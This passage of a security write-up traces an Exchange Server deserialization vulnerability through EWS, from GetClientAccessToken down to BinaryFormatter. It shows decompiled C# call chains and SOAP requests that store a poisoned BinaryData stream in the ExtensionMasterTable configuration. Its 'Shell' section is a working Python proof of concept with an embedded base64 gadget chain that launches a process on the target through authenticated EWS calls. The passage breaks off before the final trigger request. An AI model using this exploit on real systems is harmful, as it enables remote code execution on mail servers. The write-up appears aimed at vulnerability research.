\tMicrosoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)\n \t\tTypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)\n \t\t\tTypedBinaryFormatter.Desearialize(Stream)\n \t\t\t\tSystem.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n \t\t\t\t System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n \t\t\t\t BinaryFormatter.Deserialize()\n \n\n# Creating a ServiceUserConfiguration Object With BinaryData Stream\n\nNow that we have the URL to send the payload to we just need to figure out which field of the `ServiceUserConfiguration` object to set and how this should be done. Looking back at `Microsoft.Exchange.Services.Core.CreateUserConfiguration` code we can see the `Execute()` method calls the `CreateInstance()` method before setting the returned `UserConfiguration` object\u2019s properties using `SetProperties()`.\n \n \n // Microsoft.Exchange.Services.Core.CreateUserConfiguration \n using Microsoft.Exchange.Data.Storage; \n using Microsoft.Exchange.Diagnostics.Components.Services; \n using Microsoft.Exchange.Services; \n using Microsoft.Exchange.Services.Core; \n using Microsoft.Exchange.Services.Core.Types; \n \n internal sealed class CreateUserConfiguration : UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone> \n { \n \u00a0\u00a0\u00a0\u00a0private ServiceUserConfiguration serviceUserConfiguration; \n \n \u00a0\u00a0\u00a0\u00a0public CreateUserConfiguration(ICallContext callContext, CreateUserConfigurationRequest request) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0: base(callContext, request) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0serviceUserConfiguration = request.UserConfiguration; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ServiceCommandBase<ICallContext>.ThrowIfNull(serviceUserConfiguration, \"serviceUserConfiguration\", \"CreateUserConfiguration::ctor\"); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0internal override IExchangeWebMethodResponse GetResponse() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new CreateUserConfigurationResponse \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ResponseMessages =\u00a0 \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0new SingleResponseMessage(base.Result.Code, base.Result.Exception) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0private static UserConfiguration CreateInstance(UserConfigurationName userConfigurationName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return userConfigurationName.MailboxSession.UserConfigurationManager.CreateFolderConfiguration(userConfigurationName.Name, UserConfigurationTypes.Stream | UserConfigurationTypes.XML | UserConfigurationTypes.Dictionary, userConfigurationName.FolderId); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (ObjectExistedException ex) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ExTraceGlobals.ExceptionTracer.TraceError(0L, \"ObjectExistedException during UserConfiguration creation: {0} Name {1} FolderId: {2}\", ex, userConfigurationName.Name, userConfigurationName.FolderId); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new ErrorItemSaveException(CoreResources.IDs.ErrorItemSaveUserConfigurationExists, ex); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0internal override ServiceResult<ServiceResultNone> Execute() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone>.ValidatePropertiesForUpdate(serviceUserConfiguration); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (UserConfiguration userConfiguration = CreateInstance(GetUserConfigurationName(serviceUserConfiguration.UserConfigurationName))) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone>.SetProperties(serviceUserConfiguration, userConfiguration); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0userConfiguration.Save(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new ServiceResult<ServiceResultNone>(new ServiceResultNone()); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nLets take a deeper look into the `SetProperties()` code:\n \n \n // Microsoft.Exchange.Services.Core.UserConfigurationCommandBase<TRequestType,SingleItemType> \n using Microsoft.Exchange.Data.Storage; \n using Microsoft.Exchange.Services.Core.Types; \n \n protected static void SetProperties(ServiceUserConfiguration serviceUserConfiguration, UserConfiguration userConfiguration) \n { \n \u00a0\u00a0\u00a0\u00a0SetDictionary(serviceUserConfiguration, userConfiguration); \n \u00a0\u00a0\u00a0\u00a0SetXmlStream(serviceUserConfiguration, userConfiguration); \n \u00a0\u00a0\u00a0\u00a0SetStream(serviceUserConfiguration, userConfiguration); \n }\n \n\nAh, interesting, so `SetProperties()` sets both an XML stream with `SetXmlStream()` and sets another stream, likely binary, with `SetStream()`. Lets confirm this is using the `BinaryData` field mentioned earlier by looking at the code for `SetStream()`:\n \n \n // Microsoft.Exchange.Services.Core.UserConfigurationCommandBase<TRequestType,SingleItemType> \n using System.IO; \n using Microsoft.Exchange.Data.Storage; \n using Microsoft.Exchange.Services.Core.Types; \n \n private static void SetStream(ServiceUserConfiguration serviceUserConfiguration, UserConfiguration userConfiguration) \n { \n \u00a0\u00a0\u00a0\u00a0if (serviceUserConfiguration.BinaryData == null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return; \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0using Stream stream = GetStream(userConfiguration); \n \u00a0\u00a0\u00a0\u00a0SetStreamPropertyFromBase64String(serviceUserConfiguration.BinaryData, stream, CoreResources.IDs.ErrorInvalidValueForPropertyBinaryData); \n }\n \n\nLooks like it is indeed using `serviceUserConfiguration.BinaryData`, confirming that this is the field we need to set in order to set the stream. **Note that the `BinaryData` blob must be a Base64 encoded string due to the `SetStreamPropertyFromBase64String()` call here.**\n\nSo therefore our chain to create a `ServiceUserConfiguration` object with a `BinaryData` stream looks like this:\n \n \n CreateUserConfiguration.Execute()\n \tUserConfigurationCommandBase.SetProperties()\n \t\tUserConfigurationCommandBase.SetStream()\t\t\t\n \n\n# Chaining Everything Together\n\nSo looks like first we need to make the `UserConfiguration` and apply that. We can do that via a web server SOAP request to `/EWS/Exchange.asmx` that looks like the following which will create a `UserConfiguration` object with a `Dictionary` XML element which as noted at <https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/dictionary>, defines a set of dictionary property entries for a user configuration object. These dictionary properties are controlled by a `DictionaryEntry` XML element which comprises a `DictionaryKey`, which has a `Type` field (aka type of the key) and a `Value` field (aka name of the key), and a `DictionaryValue` object which has the same fields used to control the value of the key.\n \n \n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xmlns:m=\"https://schemas.microsoft.com/exchange/services/2006/messages\"\n xmlns:t=\"https://schemas.microsoft.com/exchange/services/2006/types\"\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"\n xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n \n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:CreateUserConfiguration>\n <m:UserConfiguration>\n <t:UserConfigurationName Name=\"TestConfig\">\n <t:Folder Id=\"id\" ChangeKey=\"id\">\n </t:Folder>\n </t:UserConfigurationName>\n \t\t<t:BinaryData>\n \t\t\tDESERIALIZE_PAYLOAD_GOES_HERE_AS_BASE64_ENCODED_STRING\n \t\t</t:BinaryData>\n <t:Dictionary>\n <t:DictionaryEntry>\n <t:DictionaryKey>\n <t:Type>String</t:Type>\n <t:Value>PhoneNumber</t:Value>\n </t:DictionaryKey>\n <t:DictionaryValue>\n <t:Type>String</t:Type>\n <t:Value>555-555-1111</t:Value>\n </t:DictionaryValue>\n </t:DictionaryEntry>\n </t:Dictionary>\n </m:UserConfiguration> \n </m:CreateUserConfiguration>\n </soap:Body>\n </soap:Envelope>\n \n\n# Tracing the Deserialization Back to An Accessible Source\n\nAfter a lot of tracing through interfaces we finally end up getting the following full deserialization chain from an accessible source. As you can see its quite long at 24 calls (including interfaces, so probably around 18 or so actual calls, but still its a lot!!!)\n \n \n \tMicrosoft.Exchange.Services.Core.GetClientAccessToken.PreExecuteCommand()\n \tMicrosoft.Exchange.Services.Core.GetClientAccessToken.PrepareForExtensionRelatedTokens()\n \tMicrosoft.Exchange.Services.Core.GetClientAccessToken.GetUserExtensionDataList(HashSet<string>)\n \tMicrosoft.Exchange.Services.Wcf.GetExtensibilityContext.GetUserExtensionDataListWithoutUpdatingCache(ICallContext, HashSet<string>)\n \tMicrosoft.Exchange.Services.Wcf.GetExtensibilityContext.GetUserExtensions(ICallContext, bool, bool, bool, ExtensionsCache, HashSet<OfficeMarketplaceExtension>, bool, bool, bool, Version, bool)\n \tMicrosoft.Exchange.Services.Wcf.GetExtensibilityContext.GetExtensions(ICallContext, bool, bool, bool, OrgEmptyMasterTableCache, ExtensionsCache, HashSet<OfficeMarketplaceExtension>, bool, bool, int?, bool, out string, bool, bool, Version, bool) \n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetExtensions(HashSet<OfficeMarketplaceExtension>, bool, bool, bool, out string, CultureInfo, bool, bool, MultiValuedProperty<Capability>, bool)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetProvidedExtensions(HashSet<OfficeMarketplaceExtension>, bool, Dictionary<string,ExtensionData>, bool, bool, out string, bool)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.InstalledExtensionTable.GetOrgProvidedExtensions(HashSet<OfficeMarketplaceExtension>, bool, Dictionary<string,ExtensionData>, bool, bool, out string, bool)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionTable.GetOrgExtensions(IOrgExtensionDataGetter, OrgExtensionRetrievalContext, bool, bool)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionDataGetter.GetAllOrgExtensionData(OrgExtensionRetrievalContext): IEnumerable<IExtensionData>\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionDataGetter.GetAllOrgExtensionData(OrgExtensionRetrievalContext): IEnumerable<IExtensionData>\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionRetriever.Retrieve(OrgExtensionRetrievalContext)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.Retrieve(OrgExtensionRetrievalContext) : OrgExtensionRetrievalResult\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.TryDeserializeExtensionsFromCache(out OrgExtensionRetrievalresult)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.IOrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)\n \t\tMicrosoft.Exchange.Data.ApplicationLogic.Extension.IClientExtensionCollectionFormatter.Deserialize\n \t\t\tMicrosoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)\n \t\t\t\tTypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)\n \t\t\t\t\tTypedBinaryFormatter.Deserialize(Stream)\n \t\t\t\t\t\tSystem.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n \t\t\t\t\t\t System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n \t\t\t\t\t\t BinaryFormatter.Deserialize()\n \n\nWe need to find a way to hit this function from an accessible location. **I made a mistake here in thinking that cause we were retrieving info from the cache it wouldn\u2019t be an exploitable path. Don\u2019t assume based purely off of names the whole path chain, take a look at everything first.**\n\nAnyway we can then find that by Googling `GetClientAccessToken` that we can make a SOAP request for this given documentation at <https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/getclientaccesstoken-operation> and that `The GetClientAccessToken operation gets a client access token for a mail app for Outlook.` mean that its real purpose is simply to get a client token for a given mail app in Outlook. Interesting that such a benign operation triggers this chain bug it does make sense. After all some of this is getting the list of extensions for a given org, likely to find the respective app, which then leads us to the `Microsoft.Exchange.Data.ApplicationLogic.Extension.CachedOrgExtensionRetriever.TryDeserializeExtensionsFromCache(out OrgExtensionRetrievalresult)` call that ultimately leads to more calls and the then the `TypedBinaryFormatter.Deserialize(Stream)` call where the bug is at.\n\nFor reference the data we need to send here will look something like this:\n \n \n <?xml version=\"1.0\" encoding=\"UTF-8\"?> \n <soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:t=\"https://schemas.microsoft.com/exchange/services/2006/types\" xmlns:m=\"https://schemas.microsoft.com/exchange/services/2006/messages\"> \n \t<soap:Header> \n \t\t<t:RequestServerVersion Version=\"Exchange2013\" /> \n \t</soap:Header> \n \t<soap:Body> \n \t\t<m:GetClientAccessToken> \n \t\t\t<m:TokenRequests> \n \t\t\t\t<t:TokenRequest> \n \t\t\t\t\t<t:Id>1C50226D-04B5-4AB2-9FCD-42E236B59E4B</t:Id> \n \t\t\t\t\t<t:TokenType>CallerIdentity</t:TokenType>\n \t\t\t\t</t:TokenRequest> \n \t\t\t</m:TokenRequests> \n \t\t</m:GetClientAccessToken> \n \t</soap:Body> \n </soap:Envelope>\n \n\n# Shell\n\nFollowing PoC will spawn `calc.exe` on the target:\n \n \n #!/usr/bin/python3\n import socket, time\n \n import http.client, requests\n import urllib.request, urllib.parse, urllib.error\n import os, ssl\n \n from requests_ntlm2 import HttpNtlmAuth\n from urllib3.exceptions import InsecureRequestWarning\n \n requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\n import base64\n \n \n USER = 'TESTINGDOMAIN\\\\administrator'\n PASS = 'thePassword123!'\n \n target = \"https://172.26.247.94\"\n \n #rcegadget\n #pop calc or mspaint on the target\n gadgetData = 'AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAALAXQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFbFRlWE4wWlcwc0lGWmxjbk5wYjI0OU5DNHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajFpTnpkaE5XTTFOakU1TXpSbE1EZzVCUUVBQUFDRUFWTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxsTnZjblJsWkZObGRHQXhXMXRUZVhOMFpXMHVVM1J5YVc1bkxDQnRjMk52Y214cFlpd2dWbVZ5YzJsdmJqMDBMakF1TUM0d0xDQkRkV3gwZFhKbFBXNWxkWFJ5WVd3c0lGQjFZbXhwWTB0bGVWUnZhMlZ1UFdJM04yRTFZelUyTVRrek5HVXdPRGxkWFFRQUFBQUZRMjkxYm5RSVEyOXRjR0Z5WlhJSFZtVnljMmx2YmdWSmRHVnRjd0FEQUFZSWpRRlRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVSMlZ1WlhKcFl5NURiMjF3WVhKcGMyOXVRMjl0Y0dGeVpYSmdNVnRiVTNsemRHVnRMbE4wY21sdVp5d2diWE5qYjNKc2FXSXNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwSUFnQUFBQUlBQUFBSkF3QUFBQUlBQUFBSkJBQUFBQVFEQUFBQWpRRlRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVSMlZ1WlhKcFl5NURiMjF3WVhKcGMyOXVRMjl0Y0dGeVpYSmdNVnRiVTNsemRHVnRMbE4wY21sdVp5d2diWE5qYjNKc2FXSXNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwQkFBQUFDMTlqYjIxd1lYSnBjMjl1QXlKVGVYTjBaVzB1UkdWc1pXZGhkR1ZUWlhKcFlXeHBlbUYwYVc5dVNHOXNaR1Z5Q1FVQUFBQVJCQUFBQUFJQUFBQUdCZ0FBQUFvdll5QmpiV1F1WlhobEJnY0FBQUFEWTIxa0JBVUFBQUFpVTNsemRHVnRMa1JsYkdWbllYUmxVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ01BQUFBSVJHVnNaV2RoZEdVSGJXVjBhRzlrTUFkdFpYUm9iMlF4QXdNRE1GTjVjM1JsYlM1RVpXeGxaMkYwWlZObGNtbGhiR2w2WVhScGIyNUliMnhrWlhJclJHVnNaV2RoZEdWRmJuUnllUzlUZVhOMFpXMHVVbVZtYkdWamRHbHZiaTVOWlcxaVpYSkpibVp2VTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2k5VGVYTjBaVzB1VW1WbWJHVmpkR2x2Ymk1TlpXMWlaWEpKYm1adlUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNna0lBQUFBQ1FrQUFBQUpDZ0FBQUFRSUFBQUFNRk41YzNSbGJTNUVaV3hsWjJGMFpWTmxjbWxoYkdsNllYUnBiMjVJYjJ4a1pYSXJSR1ZzWldkaGRHVkZiblJ5ZVFjQUFBQUVkSGx3WlFoaGMzTmxiV0pzZVFaMFlYSm5aWFFTZEdGeVoyVjBWSGx3WlVGemMyVnRZbXg1RG5SaGNtZGxkRlI1Y0dWT1lXMWxDbTFsZEdodlpFNWhiV1VOWkdWc1pXZGhkR1ZGYm5SeWVRRUJBZ0VCQVFNd1UzbHpkR1Z0TGtSbGJHVm5ZWFJsVTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2l0RVpXeGxaMkYwWlVWdWRISjVCZ3NBQUFDd0FsTjVjM1JsYlM1R2RXNWpZRE5iVzFONWMzUmxiUzVUZEhKcGJtY3NJRzF6WTI5eWJHbGlMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqYzNZVFZqTlRZeE9UTTBaVEE0T1Ywc1cxTjVjM1JsYlM1VGRISnBibWNzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMHNXMU41YzNSbGJTNUVhV0ZuYm05emRHbGpjeTVRY205alpYTnpMQ0JUZVhOMFpXMHNJRlpsY25OcGIyNDlOQzR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmoxaU56ZGhOV00xTmpFNU16UmxNRGc1WFYwR0RBQUFBRXR0YzJOdmNteHBZaXdnVm1WeWMybHZiajAwTGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBXSTNOMkUxWXpVMk1Ua3pOR1V3T0RrS0JnMEFBQUJKVTNsemRHVnRMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqYzNZVFZqTlRZeE9UTTBaVEE0T1FZT0FBQUFHbE41YzNSbGJTNUVhV0ZuYm05emRHbGpjeTVRY205alpYTnpCZzhBQUFBRlUzUmhjblFKRUFBQUFBUUpBQUFBTDFONWMzUmxiUzVTWldac1pXTjBhVzl1TGsxbGJXSmxja2x1Wm05VFpYSnBZV3hwZW1GMGFXOXVTRzlzWkdWeUJ3QUFBQVJPWVcxbERFRnpjMlZ0WW14NVRtRnRaUWxEYkdGemMwNWhiV1VKVTJsbmJtRjBkWEpsQ2xOcFoyNWhkSFZ5WlRJS1RXVnRZbVZ5Vkhsd1pSQkhaVzVsY21salFYSm5kVzFsYm5SekFRRUJBUUVBQXdnTlUzbHpkR1Z0TGxSNWNHVmJYUWtQQUFBQUNRMEFBQUFKRGdBQUFBWVVBQUFBUGxONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3k1UWNtOWpaWE56SUZOMFlYSjBLRk41YzNSbGJTNVRkSEpwYm1jc0lGTjVjM1JsYlM1VGRISnBibWNwQmhVQUFBQStVM2x6ZEdWdExrUnBZV2R1YjNOMGFXTnpMbEJ5YjJObGMzTWdVM1JoY25Rb1UzbHpkR1Z0TGxOMGNtbHVaeXdnVTNsemRHVnRMbE4wY21sdVp5a0lBQUFBQ2dFS0FBQUFDUUFBQUFZV0FBQUFCME52YlhCaGNtVUpEQUFBQUFZWUFBQUFEVk41YzNSbGJTNVRkSEpwYm1jR0dRQUFBQ3RKYm5Rek1pQkRiMjF3WVhKbEtGTjVjM1JsYlM1VGRISnBibWNzSUZONWMzUmxiUzVUZEhKcGJtY3BCaG9BQUFBeVUzbHpkR1Z0TGtsdWRETXlJRU52YlhCaGNtVW9VM2x6ZEdWdExsTjBjbWx1Wnl3Z1UzbHpkR1Z0TGxOMGNtbHVaeWtJQUFBQUNnRVFBQUFBQ0FBQUFBWWJBQUFBY1ZONWMzUmxiUzVEYjIxd1lYSnBjMjl1WURGYlcxTjVjM1JsYlM1VGRISnBibWNzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMWRDUXdBQUFBS0NRd0FBQUFKR0FBQUFBa1dBQUFBQ2dzPQs='\n \n \n def sendPayload(gadgetChain):\n \tget_inbox = '''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n \t<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n \t <soap:Header>\n \t\t<t:RequestServerVersion Version=\"Exchange2013\" />\n \t </soap:Header>\n \t <soap:Body>\n \t\t<m:GetFolder>\n \t\t <m:FolderShape>\n \t\t\t<t:BaseShape>AllProperties</t:BaseShape>\n \t\t </m:FolderShape>\n \t\t <m:FolderIds>\n \t\t\t<t:DistinguishedFolderId Id=\"inbox\" />\n \t\t </m:FolderIds>\n \t\t</m:GetFolder>\n \t </soap:Body>\n \t</soap:Envelope>\n \t'''\n \n \theaders = {\"User-Agent\": \"ExchangeServicesClient/15.01.2308.008\", \"Content-type\" : \"text/xml; charset=utf-8\"}\n \n \tres = requests.post(target + \"/ews/exchange.asmx\",\n \t\t\t\tdata=get_inbox,\n \t\t\t\theaders=headers,\n \t\t\t\t\t\t\tverify=False,\n \t\t\t\t\t\t\tauth=HttpNtlmAuth('%s' % (USER),\n \t\t\t\t\t\t\tPASS))\n \n \tprint(res.text + \"\\r\\n\")\n \tprint(res.encoding + \"\\r\\n\")\n \n \tfolderId = res.text.split('<t:FolderId Id=\"')[1].split('\"')[0]\n \tchangeKey = res.text.split('<t:FolderId Id=\"' + folderId + '\" ChangeKey=\"')[1].split('\"')[0]\n \n \tprint(folderId + \"\\r\\n\")\n \tprint(changeKey + \"\\r\\n\")\n \n \tdelete_old = '''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n \t<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n \t <soap:Header>\n \t\t<t:RequestServerVersion Version=\"Exchange2013\" />\n \t </soap:Header>\n \t <soap:Body>\n \t\t<m:DeleteUserConfiguration>\n \t\t <m:UserConfigurationName Name=\"ExtensionMasterTable\">\n \t\t\t<t:FolderId Id=\"%s\" ChangeKey=\"%s\" />\n \t\t </m:UserConfigurationName>\n \t\t</m:DeleteUserConfiguration>\n \t </soap:Body>\n \t</soap:Envelope>''' % (folderId, changeKey)\n \n \tres = requests.post(target + \"/ews/exchange.asmx\",\n \t\t\t\tdata=delete_old,\n \t\t\t\theaders=headers,\n \t\t\t\t\t\t\tverify=False,\n \t\t\t\t\t\t\tauth=HttpNtlmAuth('%s' % (USER),\n \t\t\t\t\t\t\tPASS))\n \n \tprint(res.text)\n \tprint(\"\\r\\n\")\n \n \tcreate_usr_cfg = '''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n \t<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n \t <soap:Header>\n \t\t<t:RequestServerVersion Version=\"Exchange2013\" />\n \t </soap:Header>\n \t <soap:Body>\n \t\t<m:CreateUserConfiguration>\n \t\t <m:UserConfiguration>\n \t\t\t<t:UserConfigurationName Name=\"ExtensionMasterTable\">\n \t\t\t <t:FolderId Id=\"%s\" ChangeKey=\"%s\" />\n \t\t\t</t:UserConfigurationName>\n \t\t\t<t:Dictionary>\n \t\t\t <t:DictionaryEntry>\n \t\t\t\t<t:DictionaryKey>\n \t\t\t\t <t:Type>String</t:Type>\n \t\t\t\t <t:Value>OrgChkTm</t:Value>\n \t\t\t\t</t:DictionaryKey>\n \t\t\t\t<t:DictionaryValue>\n \t\t\t\t <t:Type>Integer64</t:Type>\n \t\t\t\t <t:Value>637728170914745525</t:Value>\n \t\t\t\t</t:DictionaryValue>\n \t\t\t </t:DictionaryEntry>\n \t\t\t <t:DictionaryEntry>\n \t\t\t\t<t:DictionaryKey>\n \t\t\t\t <t:Type>String</t:Type>\n \t\t\t\t <t:Value>OrgDO</t:Value>\n \t\t\t\t</t:DictionaryKey>\n \t\t\t\t<t:DictionaryValue>\n \t\t\t\t <t:Type>Boolean</t:Type>\n \t\t\t\t <t:Value>false</t:Value>\n \t\t\t\t</t:DictionaryValue>\n \t\t\t </t:DictionaryEntry>\n \t\t\t <t:DictionaryEntry>\n \t\t\t\t<t:DictionaryKey>\n \t\t\t\t <t:Type>String</t:Type>\n \t\t\t\t <t:Value>OrgExtV</t:Value>\n \t\t\t\t</t:DictionaryKey>\n \t\t\t\t<t:DictionaryValue>\n \t\t\t\t <t:Type>Integer32</t:Type>\n \t\t\t\t <t:Value>2147483647</t:Value>\n \t\t\t\t</t:DictionaryValue>\n \t\t\t </t:DictionaryEntry>\n \t\t\t</t:Dictionary>\n \t\t\t<t:BinaryData>%s</t:BinaryData>\n \t\t </m:UserConfiguration>\n \t\t</m:CreateUserConfiguration>\n \t </soap:Body>\n \t</soap:Envelope>''' % (folderId, changeKey, gadgetChain)\n \n \tres = requests.post(target + \"/ews/exchange.asmx\",\n \t\t\t\tdata=create_usr_cfg,\n \t\t\t\theaders=headers,\n \t\t\t\t\t\t\tverify=False,\n \t\t\t\t\t\t\tauth=HttpNtlmAuth('%s' % (USER),\n \t\t\t\t\t\t\tPASS))\n \n \tprint(res.text)\n \tprint(\"\\r\\n\")\n \tprint(\"Got the request sent, now to trigger deserialization!\\r\\n\\r\\n\")\n \n 